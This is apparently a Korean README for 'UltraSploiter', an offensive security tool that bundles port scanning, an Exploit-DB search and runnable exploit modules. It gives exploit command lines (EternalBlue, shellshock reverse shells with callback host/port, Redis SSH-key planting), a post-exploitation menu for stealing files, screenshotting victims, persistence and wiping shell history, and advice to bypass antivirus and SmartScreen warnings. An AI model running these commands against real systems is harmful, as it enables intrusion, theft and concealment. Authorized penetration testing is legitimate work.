포트 스캐너, 전체 Exploit-DB 인덱스(47k 항목) 및 실행 가능한 익스플로잇 모듈을 하나의 도구로 통합한 단일 바이너리. Rust로 작성되었으며 Linux, Windows 및 macOS에서 실행됩니다.
포트 스캐너, 전체 exploit-db 인덱스, 그리고 실행 가능한 익스플로잇 세트를 하나의 바이너리에 담았습니다. 단일 파일, 의존성 없음. linux, windows, macos.
보통 nmap + searchsploit + metasploit을 찾게 된다면, 이 도구는 그 세 가지를 하나의 명령 뒤에 모아 놓은 것입니다:
| 보통 | 여기서는 |
|---|---|
nmap | UltraSploiter scan <ip> |
searchsploit | UltraSploiter search <kw> |
msfconsole | UltraSploiter exploit <ip> <module> |

이번 릴리스는 큰 변화입니다. 이 릴리스의 핵심은 스캔에서 셸까지가 하나의 동작처럼 느껴져야 하고, 일단 박스에 올라간 뒤에는 멍청한 파이프에 원시 명령을 타이핑하고 있으면 안 된다는 것입니다.
sessions -i <id>가 ↑/↓와 enter로 조작하는 실제 메뉴를 엽니다. 명령 실행, 파일 목록 보기, 파일 내려받기, 파일 올리기, 상대 데스크톱을 내 쪽으로 바로 스크린샷, 상대 배경화면 바꾸기, 시스템 정보 덤프, persistence 설치, 정리. 각 동작은 windows인지 linux인지 스스로 판별합니다.-T3는 이제 2500개 소켓이 동시에 진행되고, -T5는 12000개). 그래서 top-1000 스윕이 실제 네트워크에서 눈에 띄게 더 빨리 끝납니다.짧게 말하면: 같은 세 글자 약속, scan에서 박스의 셸까지 훨씬 짧아진 경로.
리버스 셸이 연결되면 세션으로 등록됩니다. 메뉴로 들어가려면:
UltraSploiter console
usp > sessions
usp > sessions -i 1
화살표 키로 이동하는 목록이 나오고(숫자 키로도 이동 가능), enter로 선택합니다:
| action | 하는 일 |
|---|---|
| shell | 대화형 명령 셸, 돌아가려면 back |
| files | ls -la / 또는 dir C:\ |
| sysinfo | 호스트, 사용자, OS, 인터페이스 |
| screenshot | 대상의 데스크톱을 캡처하여 ~/.ultrasploiter/loot에 저장 |
| download | 파일을 ~/.ultrasploiter/loot로 가져옴 (base64) |
| upload | 로컬 파일을 대상으로 전송 (base64) |
| wallpaper | 이미지를 다운로드하여 대상의 배경화면으로 설정 |
| persist | 재부팅 항목을 작성 (먼저 확인을 요청) |
| cleanup | 셸 기록과 임시 아티팩트를 삭제 |
대상 OS를 스스로 감지하여(linux vs windows) 각 작업에 맞는 명령을 구성합니다 — windows에서는 powershell, linux에서는 sh/coreutils. 파일 전송은 기존 소켓을 통해 base64로 이루어지므로 양쪽 모두에 별도로 설치할 것이 없습니다.

가장 쉬운 방법은 미리 빌드된 바이너리를 받아서 실행하는 것입니다. 설치할 것은 없습니다.
UltraSploiter-windows-x86_64.exe, 더블클릭하여 실행UltraSploiter-linux-x86_64보안 도구이므로 바이러스 백신과 SmartScreen이 이를 탐지할 것입니다. windows에서는 more info -> run anyway를 클릭하거나, 계속 사용할 것이라면 예외 항목에 추가하세요.
UltraSploiter.exe를 더블클릭하면 메뉴가 열립니다. SmartScreen이 알 수 없는
게시자에 대해 경고하면(서명되지 않았으므로 경고할 것입니다), more info -> run anyway를 클릭하세요.
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
게이트키퍼가 차단하면(다시 말해, 서명되지 않았기 때문), 우클릭 -> 열기를 하거나 격리 플래그를 한 번 해제하세요:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
플랫폼용 바이너리가 없거나 무언가를 변경하려는 경우에만 필요합니다. rust 1.74+가 필요합니다.
sudo apt install build-essential
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh
xcode-select --install
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1
build.ps1은 gnu 툴체인을 사용하므로 visual studio나 msvc가 필요하지 않으며, 없으면 설치합니다. 이미 msvc 빌드 도구가 있다면 일반 cargo build --release도 작동합니다.
windows에서 한 가지 주의할 점: windows-sys(tokio에 의해 포함됨)는 어셈블러 as가 필요한 dlltool을 호출하는데, rust-mingw 컴포넌트에는 이것이 포함되어 있지 않습니다. build.ps1은 tools\mingw64\bin과 %USERPROFILE%\tools\mingw64\bin에서 as가 있는 mingw bin을 찾아 PATH 앞에 추가합니다. error calling dlltool 오류가 발생하면 winlibs 빌드를 해당 위치 중 하나에 넣으세요. msvc에는 영향을 주지 않습니다.
인수 없이 실행하면 메뉴가 나타납니다:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
간단한 형식: 대상(target)을 지정하고, 실행하려는 모듈이 있으면 추가하면 나머지는 알아서 처리됩니다.
UltraSploiter 10.0.0.5 # scan it (same as scan 10.0.0.5)
UltraSploiter 10.0.0.5 -p 22,80,443 -T4 # scan with flags
UltraSploiter 10.0.0.5 vsftpd_234 # run a native/catalog module
UltraSploiter 10.0.0.5 exploit/windows/smb/ms17_010_eternalblue
# route an msf module, RHOSTS set for you
명시적인 명령을 선호하는 경우:
UltraSploiter scan 10.0.0.5 # top 1000 ports + fingerprint + suggestions
UltraSploiter scan 10.0.0.0/24 -p 22,80,443 # host discovery, then scan the live ones
UltraSploiter scan 10.0.0.1-50 -p 1-1024 -T4 # range, fast timing
UltraSploiter scan 10.0.0.5 -p - # all 65535 ports
UltraSploiter scan 10.0.0.5 -sU # UDP scan
UltraSploiter scan 10.0.0.0/24 --check # scan then safely check matched modules
UltraSploiter scan 10.0.0.5 -sC # default scripts (ssh/smb/redis/tls)
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter search apache -n 20 --type remote --platform linux
UltraSploiter info 17491
UltraSploiter show 17491 # print the PoC source for an Exploit-DB id
UltraSploiter modules
UltraSploiter msf search smb # bridge to Metasploit (needs it installed)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
linux/macos에서는 ./를 붙입니다 (예: ./UltraSploiter scan 10.0.0.5).
별칭: find = search, list = modules, run = exploit.
| 플래그 | 의미 |
|---|---|
-p <spec> | top (1000), 80,443, 1-1024, - (전체) |
-T0..-T5 | 타이밍 템플릿, 느리고 조용한 것부터 빠르고 시끄러운 것까지 |
-sU | UDP 프로브 스캔 |
-sV | 서비스/버전 탐지 (기본 활성화) |
-sC | 기본 스크립트: ssh-auth-methods, smb-version, redis-info, ssl-cert |
-Pn | 호스트 탐색을 건너뛰고 모든 호스트를 스캔 |
--check | 스캔이 매칭한 모든 모듈을 안전하게 검사 |
--max-rate n | 초당 연결 수 제한 |
--retries n | 실패한 연결 재시도 |
--no-banner | 배너 그래빙 건너뛰기 |
--json | stdout으로 JSON 출력 |
-oX <file> | nmap 스타일 XML |
대상은 호스트명, IP, CIDR 블록(10.0.0.0/24), 범위
(10.0.0.1-50 또는 10.0.0.1-10.0.0.9) 또는 쉼표 목록이 될 수 있습니다. 호스트가
둘 이상이면 먼저 빠른 TCP 호스트 탐색을 수행하고 응답하는 대상만 스캔하므로,
top 1000에 대한 /24 스캔이 몇 분이 아니라 몇 초 만에 끝납니다.
스캐너는 비동기(tokio) 방식입니다: 각 -T는 동시에 진행 중인 소켓 수를
설정하며(-T5에서 최대 8000개), 따라서 nmap top 1000은 몇 초면 됩니다. 모든
"open"은 완료된 TCP 핸드셰이크이므로 결과가 정확합니다. 서비스 탐지는
HTTP 타이틀(nmap의 http-title처럼)을 가져오고, 실행은 배너로부터의 OS 추측으로
끝납니다.
-o key=value)| 키 | 사용처 | 의미 |
|---|---|---|
lhost, lport | rev-shell 모듈 | 콜백 주소 |
rport | 웹 모듈 | HTTP 포트 재정의 |
path | shellshock, struts, phpunit | 엔드포인트 경로 |
user, pass | tomcat_manager | 매니저 자격 증명 |
core | solr_rce | Solr 코어 이름 |
file | grafana_lfi | 읽을 파일 |
ssh_pubkey | redis_unauth | authorized_keys에 넣을 키 |
src, dst | proftpd_modcopy | 복사 원본 / 대상 |
timeout | 전체 | 소켓 타임아웃(초) |